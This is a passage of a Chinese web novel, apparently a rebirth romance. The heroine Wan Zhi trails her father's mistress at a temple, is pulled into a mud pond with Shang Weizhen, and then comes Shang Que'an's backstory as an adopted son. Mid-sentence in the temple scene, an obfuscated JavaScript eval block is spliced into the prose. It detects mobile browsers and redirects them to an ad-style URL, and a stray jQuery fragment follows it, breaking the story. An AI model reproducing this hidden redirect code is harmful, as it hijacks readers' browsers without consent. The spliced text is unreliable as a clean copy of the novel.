数落平氏的罪责,身为人.妻,未能教导好子女,本就有错。
且儿子听闻又未能继承到父亲半点才能,碌碌无用也就罢了,在官学里还不用功读书,倒是贪玩的很。
这已经是她作为妇人的无德之处了,也不怪丈夫会因此另寻所爱。
妧大人能忍耐这么多年,已经是脾性.操守都为上等的仁义之人了。
母亲无德,遭父嫌弃,弟弟慵人一个,这些闲言碎语传起来都足以叫妧枝颜面扫地。
再加上她嫁到濉安王妃多年,肚子里没个信儿,一无所出,府里的下人便猜测,这是不是受了平氏无德的影响,报应到了子女身上?
有这种事,大夫人岂不是命里带衰,是克子之命?
当时便有人私下议论,妧枝既然生不出孩子,就应该休了她,亦或是和离放她归去。
无子是大事。
此话就连濉安王妃身边的管事婆子们都有在传,府里议论纷纷,相信商榷安亦有所闻。
但不知为什么?
不允许她怀有骨肉的商榷安那边,却始终毫无要休她的下一步动作。
“前面的,到底走不走?怎么在此挡道,你是故意的?”
一声不悦的呵斥,让神游天外的妧枝思绪回笼。
在离开东林寺的台阶上,她疑惑地看向站在她身后的陌生婢女,以及她身边戴有帷帽的妇人。
“周围两旁都是空道,可以走。”
她的话迎来婢女嗤笑:“那你又为何站在中间把这条路霸占着?我家夫人专程来寺里祈福,可不喜欢走两旁。”
“你这么喜欢,怎么不把大路给我们让出来。”
妧枝凝眉,冷眼觑着眼前作风霸道的婢女。
只听她身边的妇人忽道:“时雨,何必闲话那么多?赶她走就是,别耽误了时辰。”
婢女陡然粗暴地将妧枝拉扯开,未曾想对方突然出手,妧枝差点一脚趔趄往前倾倒。
待她站稳,这对主仆已经越过她从中间道上进入寺里。
那婢女还回头,冲妧枝挑衅似的一笑。
而在她们走后,妧枝容色冰冷,感到愠怒的同时,更重要的却是眸光流露出一丝不可思议的惊讶,视线幽幽地盯着远去的妇人。
这道声音……
这道曾在墙内莺语含情的声音……
她曾发誓必要记得清清楚楚。
脑海里似有一棒钟声,让她记忆清明,瞳孔微缩,微微启唇:“是你……”
18.第 18 章
若说妧枝除了妧嵘,这辈子最惦记的人是谁,那便是与其无耻苟合的女子了。
此人妧枝一直打探,都查不出她到底是何许人也。
且当得知妧嵘抛妻弃女之时,从平氏口里得知的也不过三两句微末的消息。
“我求了康信,求求他告诉我你阿父跟他好的,到底是哪个女子。”
“他不肯说啊,说了你阿父会命人打死他,亦会发卖了他一家老小,只说是住在琴台巷的……其他的便叫我别为难他了。”
“什么都不知道啊……”
康信便是家中的马夫,平日最主要就是负责妧嵘出行。
其他人不过捎带。
平氏想问这个女子的下落,不过是想求到对方跟前,让她不要再和妧嵘来往了,想保住最后的夫妻情分。
然而以她一个后宅妇人身份,根本无能为力。
她连门路都找不出,还未去琴台巷,就被事后知晓此事的妧嵘,大发雷霆怒发冲冠的样子给吓晕厥过去。
妧嵘威胁她,敢找过去,定然直接去信给敊郡老家,告到平氏母族去,让十里八乡所有人都知晓她为妻不贤,教子无方。
是因为她做了错事,方才得了丈夫厌弃。
嫁出去的女儿如同泼出去的水,无论是非对错,母族定然会回信告知平氏,让她好好悔过,不要再惹丈夫生气。
为此平氏已经断了向母家求救的希望。
更因当时,与妧嵘一同回来的还有两个下人,各牵着一条凶神恶煞的恶犬,一直盯着平氏和妧柔妧酨他们。
但凡他们有一点异动,便要上前咬死他们般,好几次下人手中的绳索都如同没牵住,将妧柔和妧酨吓得哭叫不止。
为了孩子,看着昔日对她还算不错的丈夫一朝翻脸无情,如此雷霆对待她,已叫她绝望不已。
于是彻底断了去找那个妇人的希望。
直到事情被妧枝知晓,当她亲自动身去琴台巷细细查探时,其他人家都照常住人营生。
唯独有一户人家却怎么敲都不应门。
在接连去过两三次后,旁边一户人家则开了门,道:“你可是在找人?”
妧枝如遇救星般,“对,敢问这位老丈,可知这户人家去哪儿了?”
结果对方推拒她的好意,连连摆手,“别找了,日前早就搬走了。行不到的。”
“那住的人家叫什么名?哪里人士?”
隔壁关上大门,妧枝怎么问,就是悄无声息。
之后哪怕去十回十一回,琴台巷的人家都跟怕了她似的,“别问了,什么都不知道,那家人从不出门,你就是问破天也不知呢。”
此后,的确求救无门。
妧枝就像无头苍蝇一样,根本打探不到一点消息,像是有人故意摸去对方痕迹。
而今重头来过,倒是叫她在这里撞见。
难道不是老天再给她机会?
如此机缘巧合,曾经没能得到的消息,今日绝不可能让它错过。
上辈子未曾解开的面纱,这辈子她一定要弄清楚,对方是什么来路。
为什么她在明,而对方能在暗?伺机而动,肆意妄为?
为什么明知妧嵘有妇人,却还要与一个有家室的人牵扯不清?
为什么要毁了别人苦心经营的家?
她难道不知,还有一个为自己丈夫生儿育女的妇人,为此伤心落泪,受尽折磨吗?
他们,都没有一点良心吗?
那一刻,风吹起。
妧枝的脚下好似被注入一股力,她不顾下台阶的香客来往有何其多,只盯着那对主仆的身影,像一颗活过来的青松,抽出扎根地里的根须,尽力而满腹坚决地往上狂奔。
只为得到一个上辈子无解的答案。
送走张弛,秘密从文殊院出来,商榷安恍如无事般没入香客之中。
直到一声,“大郎君,你看……”
商榷安眉眼一掀,几乎在一瞬间一道丽影闯入他微抬的眼帘。
不用枕戈拿手指,商榷安都看清了从台阶处跑上来的人是谁。
那样的行举,断然不可能是一个受过良好教养的闺房女子做出来的。
她在狂奔,在追,裙摆像坠入水中般涤荡,袖子在风之中扬起波浪。
眼神执着而坚定,乌眸对前路的障碍视若无物。
那已经不是循规蹈矩,娴雅得体的妧家大娘子,但她又是妧枝。
一个突然活过来,像枯木又逢春的……妧枝。
那对主仆早已悄然走远,但还是被回过神的妧枝追上。
太多人在看她,尤其在她追赶的时候,妧枝仍然将那些香客诧异的目光无谓的抛之脑后。
如果这次错过对方,也许下回她就没那么容易知晓对方身份了。
前方那妇人身边的婢女似乎察觉到路上行人神色有异,都盯着她们身后一个方向,于是跟着旁人的目光回头望过来。
但似乎无功而返,后边的视野中,不过是一些过路的香客。
还有趁着施斋节热闹,来寺里寻商机的货郎跟货娘,几个随着爹娘来玩的垂髻小儿不停转圈挥动着拨浪鼓,就这样吸引走了婢女的视线。
“时雨,你在看什么?怎么了?”
“就是觉着这些路人的样子有些奇怪,没什么事,夫人。”
在参天大树的背后,一道胸口剧烈起伏的身影被惊出了一身虚汗,面若红霞,耳边微乱的一缕发丝弯扭而紧致地贴在耳廓下。
细白的脖颈上流动的,亦是薄薄的一层细汗。
从未这般向前追逐过的妧枝已然不在乎了闺阁女子的形象姿态,再晚一点发觉对方有转头的迹象,就要被发现了。
她畅意地勾起唇角。
但好歹,她还是追上了她们。
只是要想更进一步接触,就不大方便了,毕竟方才她们发生过口角,若她冒然接近,反倒令人生疑。
黄口小儿的拨浪鼓骤然在她耳畔回荡。
“阿爹,阿娘,瞧孩儿的鼓,响不响?”
“响,太响了,我儿真厉害啊……”
妧枝目光缓缓落在正在逗弄稚儿的货郎,余光游弋,最后定在其背后货箱上的面具及衣裳上。
片刻之后,一个卸了珠钗,头戴布巾,一身粗布麻衣的寻常农家女进到殿堂。
大雄宝殿,佛像森严,主殿上香的人最多。
而到了此处,势必要点香敬佛,在菩萨跟前拜一拜才是。
提着篮子,妧枝抬眸逡巡一圈,很快在殿中央的佛台前找到那对主仆的身影。
她默默凑近,只见那妇人终于舍得摘下帷帽,露出真容。
薛明烛望着大雄宝殿里的三尊佛像,眼神炯炯。
今日如非施斋节,她根本不会来此,人多眼杂的地方并不利于她现身。
可是近来她有苦思烦心事缠身,不管是吃药还是享乐都得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177646|163330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不到开解,父亲见她心事重重,已有些许不满。
为了不让家里人操心,薛明烛方才听了身边人的劝,来这东林寺向神佛祈愿,听一听佛音。
若菩萨真的有灵,该当替她分忧除难,让她心想事成。
她有一个相好的情郎,他们真心相爱,碍于身份却始终不能在一起。
这种掩人耳目的日子越来越叫她不够满足,她希望能与对方光明正大在一起,而不是三五两日,背地里相聚。
她薛明烛可不是谁都能配得起。
可惜对方家里还有个死婆娘,老槽妇,再这样下去,想和心上人开花结果,还得再等多少年?
等她花容老去,还是等她看着心爱之人和别的女子白头到老?
她不甘心。
她闭上眼,抑制不住渴望小声念出,“求菩萨快快显灵,让我之爱郎早日休妻。”
“快快显灵……求菩萨……”
“快快显灵……”
本事缄默中的婢女忍不住睁开眼,担忧走漏了声音,替她家夫人两边张望,免得叫人听去。
但还好,同她们跪在一排祈愿的人不多,也就两三个灰扑扑的村妇而已。
不是所求丈夫平安,就是求庄稼收成多些,大字不识,粗笨无知,定然注意不到这些小动静。
薛明烛在此求了许久,闻着佛殿中的烛火香,心渐渐静下来,神思倒也明朗,然后让婢女扶她起身。
“夫人向菩萨祈愿后,心里可是好受多了?”婢女观她颜色问。
薛明烛:“心里倒是静了不少,可是一想到本该属于我的,还被别的乡野老妇霸占着,我这里头,就是难受。”
她扣着心弦处,姣好的面庞布满阴郁,眉头紧锁似柔肠寸断。
“且这几日,他好久未曾前去看我了。”
婢女:“在大人面前,夫人一向善解人意,知人冷暖,还曾多劝他顾及家里那位,怕是说的多了,大人当了真了。”
薛明烛顺口就接:“你说的不错,从前是我将他往外推,可也是时候,该他对我一心一意,死心塌地照顾了。”
薛明烛同婢女相视一笑,似心中已有谋略。
“走吧,好不容易出来一趟,我倒要看看这东林寺有多灵验……”
“去寻那位有名的藏埜大师去……”
一主一仆的身影向外挪动,离开这座宝相庄严的大雄宝殿,却忽略了背后始终停留在她们身边,备受轻视的村妇上。
她徐徐转过身,面上是一派漠然冰冷。
乌漆的眼珠紧紧盯着一无所觉的薛明烛和她的婢女,原先她曾以为这个妧嵘养在别宅的妇人,兴许是根本不知他有家室的。
亦或是受了妧嵘的蒙骗,她曾用宽慰过平氏无数次的说法,为此人开脱过。
否则,一看就是出身家世都良好的一个女子,为何要与一个成过亲的男子不清不楚?
如今才知,不是一个巴掌拍不响,而是能与他人丈夫苟且的,都是一丘之貉。
将刚才的窃窃私语纳入耳朵里的妧枝,重新提步,打算继续尾随走远的人影身后。
然而就在一只脚要跨出大雄宝殿的门槛时,似是见到什么不该见的东西,妧枝忽然被一道高大的阴影笼罩在一起。
四目相对,对方的眼神幽幽而凌厉。
视野里,犹如神出鬼没般,蓦然出现在门外的商榷安,紧盯着妧枝,将她慢慢一步步逼回到大殿里。
23-30
第23章 春中泥潭。
屋外日光正盛,庭院有风,虽还带一丝清凉,但檐下屋角可以窥见夏日来临后的斑驳金光,屋鳞闪闪。
妧枝随同婢女出来,二人不多时便离开了正院,逐渐往来人稀少,道路偏窄的小路上走去。
再走,就到了海棠春坞。
妧枝不经意问:“你是我父亲派来传话的?他和王爷在一起,此时难道不应是在书房吗?”
“你带我来海棠春坞做什么?”
婢女道:“也许他们此刻就在坐看风雨亭里等着娘子过去。”
“也许?”妧枝抓住话柄,陡然腹中生疑。
“什么是也许?何来许不许的,是就是,不是就不是……除非你不是我父亲派来的。”
妧枝话音瞬落,跟前的婢女好似一惊,小脸煞白的回头看她一眼,接着如同后悔了般,猛然埋头就走。
妧枝愣了下,不曾想不过一诈,就让对方失了镇定。
她快步跟了上去,“等等。”
婢女不知是哪一房管事婆子的女儿,面容生嫩,胆子不大。
在察觉到妧枝紧紧跟来后,抖着唇停下。
正好这里四处无人,四面都有遮挡,婢女悔道:“妧娘子,还请不要怪我,我也是奉人之命,替人传话。”
“什么事?”妧枝上下紧盯着她,上一世的主母威严让婢女身形一颤。
片刻后,对方内心挣扎着从怀中摸出一样东西。
声音越发得轻,似见不得光般,“不知妧娘子,是否还记得上一次在此见到的历郡王?”
“奴婢曾因不小心打翻了王妃最喜爱的茶盏,被母亲责罚,是郡王见到我,替我说了一番好话,这才免了一顿好打。”
婢女微微赧然,“日前郡王来了府上,说是有件事想托我帮他办。”
她将手里的东西递给妧枝。
“这封信是郡王交给我的,他让我下回妧娘子来府上的时候,转交给你。”
妧枝捏着信,狐疑地看着婢女。
若是上一世,历常珽来找她,二人已经是半个熟人,这倒说得过去。
可这一世,他们交情不多,莫非是周老夫人那里出了什么事?
妧枝:“那你为何要跑?”
“方才不经娘子质问,奴婢一时心慌才露了怯,还请娘子千万莫要声张。”
婢女:“否则递信这事若传了出去,奴婢定会被府里管事打死的。”
婢女缩起脖子,恐惧低头。
妧枝审视手中的东西正考虑要不要收下,就在这时,一声“哎哟”传来,让婢女面露惊慌。
不想此处竟还有外人在。
“娘子,此事可千万不能透露出去啊。”说罢,婢女匆匆逃开。
妧枝看着婢女消失在眼前,随后垂眸,将手中的信收进了袖口中。
朝着方才发出动静的地方走去。
在海棠春坞附近的一处小泥潭里,水色污浊,本是种着莲花种子之地,如今却多了一道挣扎却怎么也起不来的娇柔身影。
对方朝上抬头,倏然看见妧枝,面露羞涩,讨好一笑:“妧娘子……”
商唯真跌坐在池子中,一脚身陷泥潭里,她越是用力起身,越是适得其反。
在不久之前,她和榷安阿兄偶遇了妧枝和李含翎。
目送他二人离去,他们便来海棠春坞这里走走。
“今晚炙羊席,阿兄可要去尝尝?我听说那些文人才子干谒的府上,都会必备这道菜。”
李含翎的话,倒是提醒了商榷安,今日不止妧枝来了府上,就连他们一家人都在这里。
去的话必然都会相互碰面。
而前世,这样的炙羊席也曾出现在他和妧枝的议亲宴上。
只不过这辈子换成了三郎和四郎。
此二人,曾经可入不得妧嵘的眼,他挑女婿,要挑人中龙凤,能为他所用之人。
李屹其根本不是读书的料,草包。
他在文章上总是差些,却自认是运气不好,未能得到考官赏识,少些见识。
李含翎,败絮。
他心有志向,与实际行动却不同,更喜好游山玩水,玩世不恭,却自认有大报复,也就是个花言巧语不做实事的花架子。
难当大用。
上辈子亲眼见过这二人脾性的妧枝也应当清楚,她既重生回来,就该知晓他们都不是良配。
但她还偏要跟着妧嵘与虎谋皮,那就是自食恶果。
“榷安阿兄?”
耳畔再起响起女子娇柔疑惑的嗓音,商榷安回应,“御医说羊肉味甘性热,滋阴补气,唯真,你到时候可以多尝一点。”
这便是会去的意思了,还会带上商唯真。
“风好像有些大了。”
海棠花坞树木多,凉意也就更深了。
商唯真含着笑缩起身子,有些孱弱地向商榷安靠拢,“我听阿兄的。”
她愿意和榷安阿兄出入任何宴席,这样旁人看到她,就会知道榷安阿兄身边已经有了一个常带在身边的女子。
这是属于她的位置,她不希望被任何以外的女子据为所有。
“大郎君。”
行到半路,商榷安的下属忽然前来叫他。
不是经常帮忙做事的枕戈,而是另一个下属披甲,应当是有什么重要的事告知,商榷安道:“唯真,你在此等我,我让人去拿件衣裳过来。”
商唯真欣然同意了。
“阿兄慢去,用不着担心,我能照顾好自己的。”
此处是王府观景处,不会有外人来打扰,商榷安不再多言,放下商唯真便走了。
下属与商榷安正在私谈。
商唯真安然在原地等了片刻,那边商榷安似乎一时半会始终不见好,她便走动走动,看向了其他地方。
触目间,她站在小山峰上,只见有两道匆匆往这边过来的身影。
你追我赶似的,一个她见着仿佛还颇为熟悉,不禁略显惊讶,为了瞧得更加清楚发生了什么事,于是朝着外面的小路跟了过去。
但在快到二人附近身边时,商唯真一没注意踩空了一下,崴了脚跌进看似不大,却颇深的水池里。
她哎哟一声,不知有没有人能听见。
在池中她起不来,衣裳也脏了,便想呼救榷安阿兄来救她。
可在片刻之后,等来的却是走近到岸边的妧枝。
这位妧娘子略有些居高傲下,神情平静而目光漠然地看着她,没有半点焦急担心的样子。
商唯真心中疑心,觉着这妧娘子是不是不大喜欢她。
怎么次次见她都是疏离相待,倒显得她太上赶着了,莫非是哪里得罪过她?
“妧娘子……可否帮我一把,拉我起来?我扭着脚了,实在不方便。”
妧枝气定神闲地俯瞰着商唯真,一时间,颇有些不为所动。
前世她虽嫁给商榷安,对方并未告知她心里已经有人。
如果有,妧枝当时就不会上门求他答应。
而商唯真则在他们二人婚事定下后,似乎一直怀有心结。
愁容笼罩,看商榷安的眼神哀怨神伤,好似因为妧枝而辜负了她一样。
旁人问起,她这是怎么了的时候,又摇头掩盖心思,强颜欢笑,唤妧枝阿嫂,叮嘱交代她,成婚后该如何照料好商榷安。
妧枝只当他们是兄妹情深,商唯真一时间舍不得自己阿兄娶妻罢了。
可以理解。
但,当日领回来那个外室子的时候,商唯真也在场。
若是她跟商榷安偷偷苟且生下来的,还带到她面前来如此称呼,其心可诛。
但若不是,那就是她比妧枝知情更多,商榷安告诉过她,而商唯真知晓孩子的生母是谁。
既然知晓内情,却故意帮商榷安隐瞒了妧枝多年,令她情何以堪?
“妧娘子……”
商唯真对被妧枝双眼盯着,感觉到微微古怪,她难道不想帮她吗?
“妧娘子,若是你嫌麻烦,可以帮我去叫榷安阿兄……的确,这水池泥多水脏,也不能连累你了。”
妧枝略微勾唇,很久未曾听见商唯真这么说话了。
她总是善解人意,出言劝解商榷安,要对嫂嫂好一些,但有时候那些温柔的言语,总会让人情不自禁想到其他地方去。
就如此刻,妧枝并非是因嫌池水脏,不想下去拉她,而是她懒得与商唯真和商榷安有牵扯。
海棠春坞的小山峰上,隐隐有两道寻过来的人影。
妧枝就这般一走,也不知商唯真会同商榷安怎么告状,她既不想与他们来往,却也不想任人污蔑。
“把手给我。”妧枝蓦然出声。
商唯真惊讶一愣。
妧枝走到土坡边,手搭在一颗树干上,将手伸出去让商唯真能勾到她。
待到商唯真搭上她的手,妧枝方才将她拉起来。
然而下一刻,商唯真腰身未能彻底支起来,抓着妧枝的手拉到一半又松开,连带着令妧枝脚下一滑,随商唯真一起掉进了泥潭里。
“唯真。”
当商榷安和下属找过来时,看见的就是这般情景。
商唯真稍带委屈,哭腔微露,“阿兄,我疼……”
她的脚崴了,未能抓稳妧枝,这一下疼的更厉害。
待到商榷安一来,便如得救一般,充满希冀地朝商榷安伸出手去。
商榷安只看了眼下情况,便二话不说先蹚下水来,下属见状也顾不得脱下鞋履,立马下水跟上。
“阿兄,好痛……”
商榷安一靠近,商唯真便娇啼着拽住他的衣角。
“哪里受伤了?”他问。
商唯真哭着道:“我的脚,阿兄,我的脚不能动弹了。”
不顾池中的脏水,商榷安将商唯真从泥地中抱起,正要走向岸上。
结果似是想起什么,他猛地朝旁边看去。
枕戈:“妧娘子,我来拉你……”
妧枝从他们身旁越过,未做一声回应,甚至连头也未抬一下,目视着足下。
她从泥潭中起身,缓缓一步步朝岸上走去。
第24章 避嫌。
妧枝就这么走了,令还在原地的人为之一愣。
但很快还是反应过来,快速跟上。
泥潭并不算深,但因是特意用来种莲花的,水少泥稀。
乌糟得很。
上了岸,商唯真被商榷安的下属扶着站在原地,“阿兄。”
她因崴了脚使不上力,开始撑着枕戈,直到商榷安来了后便偎依在了他的怀里,紧紧抓住他的衣衫。
“我弄脏了。”
她小脸微白,只想抓住这一抹温暖和坚实的后盾,“阿兄,我是不是骨折了,怎么办?”
商榷安帮她检查了下脚踝,不顾泥泞,五指显得修长无比,都因此沾染了污泥。
“别怕,等叫了大夫再来让他来帮你看一看。”
商唯真乖巧点头,“好。”
虽不是骨折,但也肿了。
商榷安刚要说道,就听下属对着一道正在远去的背影惊讶地喊:“妧娘子?”
被唤的人好似听不见,亦不打算在原地逗留。
就这样拖着乌糟了的衣裙开始往出口处走。
“妧娘子,这是不打算跟我们一起回去换件衣裳吗?”看到此景,枕戈神色讶然地转过头,眼神询问自家大郎君和商娘子。
“……”
妧枝上岸后掸了掸衣袖,最后被溅了滴水滴,十分平静地拭去,顿觉眼下状况实在没什么好挽救。
她今日来王府是被平氏督促,有所打扮过的,原本鲜亮上好的衣裙这会都因变故沾上了大片淤泥。
污水浸湿了鞋袜。
那双精细绣着图案的绣花鞋也从白变得泥泞不堪。
再往其他地方,更不消说她看不到的身后,唯一没被弄脏的只剩下上面一点衣襟。
就是现下即刻脱下来洗干净,都算毁了。
这叫平氏看到了,可不就得心疼到愁眉了。
正想着如何解决眼下状况,忽而背后有脚步声伴随风声匆匆赶来,喘声挽留,“妧娘子,妧娘子快留步。”
妧枝脚步一顿,不过一瞬就被枕戈追上挡住去路。
“妧娘子,你的衣裳都湿了,还请随我们挪步,到后院换身衣裳吧。”
枕戈:“天气虽晴,可还时值春寒,若是就这样走回去,难免着凉,就在书行居,妧娘子不必担心,有商娘子在也有个照应。”
妧枝看向枕戈,这个商榷安最忠心耿耿的下属,以前不知为何不大情愿奉她为主母。
现在想来,应该是觉得主母应该另为其人,而不该她来鸠占鹊巢。
她眉额不皱,甚是心平静气,“不必。”
然而在身后,商榷安抱着受伤的商唯真走来。
商唯真忍着抽气声,道:“妧娘子,多谢你帮忙搭救,是我连累了你。你若不去我和阿兄那院子里换身舒适衣物,这样走去前庭,我心里真是过意不去。”
商唯真的确说的在理。
妧枝是来做客的,就这么回到茶厅实在有失体统,若是被妧嵘碰见,说不得又会说什么不中听的话。
但去商唯真和商榷安的院子,着实没什么必要。
就在此刻,又惊现了其他人的身影。
“阿枝?这是怎么回事?”
茶厅,李含翎本是哄着平氏开心,与她多说了会儿话,转头就看见本该坐着妧枝的椅子,空无一人。
他与濉安王妃目光一碰,母妃朝他颔了颔首,李含翎便明白应是按照计划,妧枝被请了出去。
只是在茶厅待了许久,只有婢女回来传话说一切办妥了,却始终不见妧枝的人。
心中疑惑,李含翎便寻了过来。
没想到看到的是眼前这副场景,他大兄和身边的濮国公之女竟是满身污迹,而那个下属和妧枝竟也如此这般情形。
找过来的李含翎不由诧异地眯了眯眼,“这是?”
莫不是发生了什么龃龉,欺负了谁?
然而,显然知晓这位四郎君生性喜欢做弄是非,枕戈代为解释道:“四公子,方才商娘子和妧娘子不小心跌进了泥潭里,为了拉人,我们这才成了这般模样。”
李含翎自然不是不信,但他擅于和他大兄作对,找不痛快。
于是将信将疑地对准妧枝,“当真?”
“那阿枝,你没事吧?”
妧枝点头,指了指衣裙,只是衣脏,倒是没受什么伤。
“这,衣裳湿了,倒是得赶紧换身新的。”
在李含翎开口后,商唯真也再次劝道:“是啊,妧娘子,你跟我们走吧。”
“榷安阿兄,你也说句话,妧娘子若是不肯去,我只怕会多想,是我才害她变成这样的。”
商榷安依言看向妧枝,但很快便收回目光。
神情稍显平静,冷淡地对李含翎道:“唯真那里有衣服,收拾一通并不耽误。”
李含翎点头,有濮国公的女儿在,妧枝去后院更衣没什么不妥之处。
如若不然,还可以把她带去几个妹妹的院子,但是商唯真有邀,李含翎同妧枝道:“阿枝,还是去吧。”
昭娘杳娘永娘可不见得会想要外面的娘子穿自个儿衣服。
有李含翎陪着,妧枝默认了这个折中的办法。
虽然她谁的衣裳都不想穿,但不换,到了前院就会有更多人看到她这副模样。
得到了她首肯,众人方才松口气的样子。
前往书行居的路上,商榷安同商唯真走在前头。
二人不时说着小话,多数是商唯真在说,商榷安搭腔几句。
枕戈已先跑回院里命人烧水准备衣物。
李含翎听见商唯真娇柔嗓音,和商榷安温和安抚的语气,顿时眸光有思绪闪过。
……
不多时,书行居已到。
商唯真先招呼,“妧娘子,你同我先去屋里吧。”
“很快就会有人把热水送来,你我可别因外边的风着了凉。”
妧枝抬眼看了下顶上牌匾,对这里的环境亦是不经意地扫过,便直接忽略了过去。
但她还是发现了院子里的药炉,隐隐散发的补药的香气。
这种味道非一日能形成,而是日积月累天天这样才会让人一进来就能闻到。
曾经商唯真因为始终过不去商榷安另娶他人这一关,心中始有郁结,让她总是宛若西子捧心般。
将自个儿身子弄得很是孱弱,这难免会让她的榷安阿兄关心她许多。
看来这辈子商榷安谨记在心,为了不让商唯真像上辈子那样孱弱,已经提前开始为她滋补身体了。
妧枝回头,看向李含翎。
“阿枝。”
李含翎朝她含笑道:“我在这喝茶等你,快去吧。”
他有心博她好感,十九岁的年轻儿郎想从心意上温柔体贴她,妧枝点了下头充作回应。
李含翎向商唯真拱手,“还请商娘子也帮我照顾好阿枝。”
商唯真目光打量他和妧枝,然后微微一笑,“这是自然。”
妧枝跟着商唯真去了她房中。
在婢女的帮助下先将脏的衣物都换下,然后身着里衣在屋里等候。
而妧枝并没有乱逛乱看的意思。
反倒是商唯真待她热情许多,“四郎君待妧娘子颇为关心,妧娘子真是好福气。”
妧枝想她的福气哪里比得上商唯真,不管哪一世都有人视她如珠如宝。
婢女进来送了两碗热汤,商唯真招呼她,“妧娘子,快喝吧,这汤一点都不苦,还能暖胃呢。”
“多谢。”
看着里头的红枣桂圆,妧枝并没什么胃口,只浅尝了两勺便放在了一旁。
她目光偏向一处虚无的地方,但商唯真却以为她是在看她房中的装饰。
恰巧妧枝的视线对准一处屏风和书架。
商唯真:“妧娘子可是在看我书架上那套墨宝?那都是我榷安阿兄送的,我还未曾用过。”
“它用料太珍贵,我舍不得。”
成色是恍若碧波的蓝绿色,玉石所致,怪不得会被束之高阁。
妧枝经她提醒才注意到,然而商唯真好似来了兴致一眼,终于能有人和她说说话。
她愁苦的向妧枝倾诉,“我来这王府多日,阿兄一直忙于公务,今日才得空带我出去一趟,没想到会遇到这一遭……”
“如今看到这些阿兄送我的东西,心里终于好受不少,但是太多了,我这房里好看的物什都是他让人安置的,我让他别送了,可阿兄却怎么说都不听。”
商唯真见李含翎待妧枝不同,二人又正议亲,料想他们关系匪浅,应该也能理解她这种甜蜜的“痛苦”。
然而妧枝一直未曾和她搭上一句话,只捧着碗,垂眸有一下没一下的舀着。
商唯真说着说着便住了嘴,甚是疑惑地打量起她。
其实妧枝,当真和她接触过的女子不同,她对任何人都好似不假以辞色,情绪淡得根本不知如何套近乎。
让商唯真想起天上快消散的云,疏淡得遥不可及。
“娘子,热水准备妥当了,可以梳洗了……还请妧娘子也随我挪步浴房。”
服侍商唯真的婢女前来告知,商唯真扭伤了脚不宜挪动,便在她自己房里简单梳洗。
而妧枝则起身,放下碗,“那我先过去了,商娘子,多谢你招待。”
将把她当做知心好友一般交谈的商唯真抛在脑后,妧枝在婢女的相请下出了这间满是商榷安布置手笔的屋子。
“妧娘子,这些都是我家娘子未穿过的干净衣物。娘子过后可以换上。”
“我知道了。”
浴房,婢女把妧枝带到后,便离开此处。
她是商唯真的婢女,当然以自家娘子为重。
妧枝一个人留在这里,看着还在冒烟的浴桶,下一刻便走到屏风处,将衣物都褪下了。
经过海棠春坞附近的泥潭一遭,商榷安同下属也都分别回房梳洗更衣去了。
他动作很快,是常年做一件事养成的习惯。
在被过继给濮国公后,濉安王府再没有长子,商榷安到了这家并没有过上预料中的好日子。
对上不敬,又下过大狱,哪怕被革职后保住性命,放回家中休养,从此不涉入官场,濮国公依旧是罪臣。
而被过继的商榷安自然是一位罪臣之子。
昔日同僚皆与濮国公断绝来往,仅剩几位好友也在濮国公的去信中,暂且明哲保身。
商家在京中的宅子被官府收走,商榷安只能随这位新的年老父亲远走,回到商朔老家。
而商唯真,亦非商朔亲生。
她是在商榷安被收养的第二年,方才来到这个家中。
是商朔同族中的遗孤,因见她年幼无父无母,孤苦无依,十分可怜,商朔便收了她做养女。
初始,商朔对商榷安道:“你是受我连累,从一世骄子,沦落到为我这废人做子嗣,是我耽误了你。”
“从此你不再是濉安王府的人,我寻了唯真,让她与你做个伴。”
“以后你们便是亲兄妹了。”
这个亲兄妹,商榷安初始并不认可,他还记得自己的身份,亦不认为商朔是他真正的父亲。
但年岁太长,在过了一年冬日后,直到开年初春,商榷安在商家门口都没看见濉安王府派人来送东西的马车。
当初将他送给濮国公时,他的父亲濉安王还曾表露几分痛心,离别时按着他肩膀道:“时局如此,你不要怪我,为父也是没有办法。”
“以后商朔便是你的父亲,但我永远认你是我儿子。”
“等到冬天,我会来看你,也会命人送些你常用的东西过来。”
可惜,树白了头,地铺满了雪。
春来春去,柳芽变成枯干,庭院又多了许多黄叶。
濉安王府连个人影都没有。
商朔垂垂已老,见他总是固执等待门前看向远方,先是陪他站一会儿,便摇头哀叹离开了。
乡间小儿多生厌,尤其村里的游侠少年,知道商朔被贬官,商榷安是个王爷丢到这里的弃子,平日里孤高冷淡,如天上月,映衬得他们好生低贱。
纷纷笑话他,“商大郎,年年都在此处等你阿父阿母接你归家呢?”
“还是死了心吧,听说你家中还有弟弟,你父母皆贵,没有你,再生几个不就是了。”
“你看他那副可怜样,像我家那条狗,等着有人怜惜他,赏他根骨头吃呢。”
嬉笑声顿时一片,然后就变成了一顿混乱。
“哎……你再打……”
对方人多,尽数是乡野少年,商榷安纵使自小习武,也敌不过人多,虽一时占了上风,却也鼻青脸肿。
待到傍晚,那些人的母亲便找来,对着大门破口大骂,“王孙公子又如何?那还不是都过去了!”
“还不是与我等一样贬为庶民,你个有娘生没娘教的,打坏了我家子,定要你赔命!”
“……”
屋外骂骂咧咧,屋内寂然无声。
唯有商榷安眉峰冷冽坐在草席上,商唯真替他小心擦着药,一点一点,小声道:“阿兄,不碍事的,就算没有他们,你还有我和父亲。”
“他们不要你,我要你,我会永远陪着你。”
所谓天之骄子,不过是被弃养后,跌落泥泞一瞬间。
后来商榷安当然放弃了一心等候濉安王府的心思,开始认起了濮国公做真正的父。
对商唯真,他也日复一日的疼惜起来。
但罪臣之子亦并不好当。
即便他长大后,读了学,有了同窗,结交了一些人物,他们对他的看法依旧是,王府弃子。
他在此受罪,他的兄弟们在府中享福。
背过这些冷眼和轻贱的目光,他面对的永远是商唯真温柔注视他的眼神。
养父死后,只剩她和他相依为命了。
也验证了,只有她会永远陪伴他身旁。
沐浴过后,商榷安已经打理好自身,换了衣着从房中出来。
途径庭院,他被一声“大兄”给叫住。
